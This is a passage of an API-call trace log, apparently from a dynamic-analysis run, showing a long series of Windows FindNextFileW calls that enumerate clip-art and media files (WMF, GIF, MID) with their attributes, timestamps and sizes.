(in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04174_.WMF", cAlternateFileName="")) returned 1 [0217.684] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04191_.WMF", cAlternateFileName="")) returned 1 [0217.684] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04195_.WMF", cAlternateFileName="")) returned 1 [0217.685] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04196_.WMF", cAlternateFileName="")) returned 1 [0217.685] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1df4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04206_.WMF", cAlternateFileName="")) returned 1 [0217.685] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x212c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04225_.WMF", cAlternateFileName="")) returned 1 [0217.685] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04235_.WMF", cAlternateFileName="")) returned 1 [0217.685] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc89dc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc89dc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04267_.WMF", cAlternateFileName="")) returned 1 [0217.685] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04269_.WMF", cAlternateFileName="")) returned 1 [0217.724] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04323_.WMF", cAlternateFileName="")) returned 1 [0217.724] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc89dc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc89dc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04326_.WMF", cAlternateFileName="")) returned 1 [0217.724] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04332_.WMF", cAlternateFileName="")) returned 1 [0217.724] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04355_.WMF", cAlternateFileName="")) returned 1 [0217.724] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04369_.WMF", cAlternateFileName="")) returned 1 [0217.724] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04384_.WMF", cAlternateFileName="")) returned 1 [0217.724] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04385_.WMF", cAlternateFileName="")) returned 1 [0217.724] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BABY_01.MID", cAlternateFileName="")) returned 1 [0217.724] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1306, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00116_.WMF", cAlternateFileName="")) returned 1 [0217.724] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6906, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00141_.WMF", cAlternateFileName="")) returned 1 [0217.725] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7114, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00146_.WMF", cAlternateFileName="")) returned 1 [0217.725] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00155_.WMF", cAlternateFileName="")) returned 1 [0217.725] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x57f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00160_.WMF", cAlternateFileName="")) returned 1 [0217.725] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f34, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00173_.WMF", cAlternateFileName="")) returned 1 [0217.725] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4354, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD05119_.WMF", cAlternateFileName="")) returned 1 [0217.725] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06102_.WMF", cAlternateFileName="")) returned 1 [0217.725] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06200_.WMF", cAlternateFileName="")) returned 1 [0217.725] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x687c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07761_.WMF", cAlternateFileName="")) returned 1 [0217.725] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x133c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07804_.WMF", cAlternateFileName="")) returned 1 [0217.726] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07831_.WMF", cAlternateFileName="")) returned 1 [0217.726] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08758_.WMF", cAlternateFileName="")) returned 1 [0217.726] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x60ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08773_.WMF", cAlternateFileName="")) returned 1 [0217.726] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbb7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08808_.WMF", cAlternateFileName="")) returned 1 [0217.726] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9d0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08868_.WMF", cAlternateFileName="")) returned 1 [0217.726] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbaaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09031_.WMF", cAlternateFileName="")) returned 1 [0217.726] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x38cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09194_.WMF", cAlternateFileName="")) returned 1 [0217.726] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x504a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09662_.WMF", cAlternateFileName="")) returned 1 [0217.726] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09664_.WMF", cAlternateFileName="")) returned 1 [0217.726] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x34cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10890_.GIF", cAlternateFileName="")) returned 1 [0217.727] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4edd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10972_.GIF", cAlternateFileName="")) returned 1 [0217.727] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4fe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19563_.GIF", cAlternateFileName="")) returned 1 [0217.727] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19582_.GIF", cAlternateFileName="")) returned 1 [0217.727] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19695_.WMF", cAlternateFileName="")) returned 1 [0217.727] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x25ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19827_.WMF", cAlternateFileName="")) returned 1 [0217.738] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2244, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19828_.WMF", cAlternateFileName="")) returned 1 [0217.738] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3896, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19986_.WMF", cAlternateFileName="")) returned 1 [0217.738] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19988_.WMF", cAlternateFileName="")) returned 1 [0217.738] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, 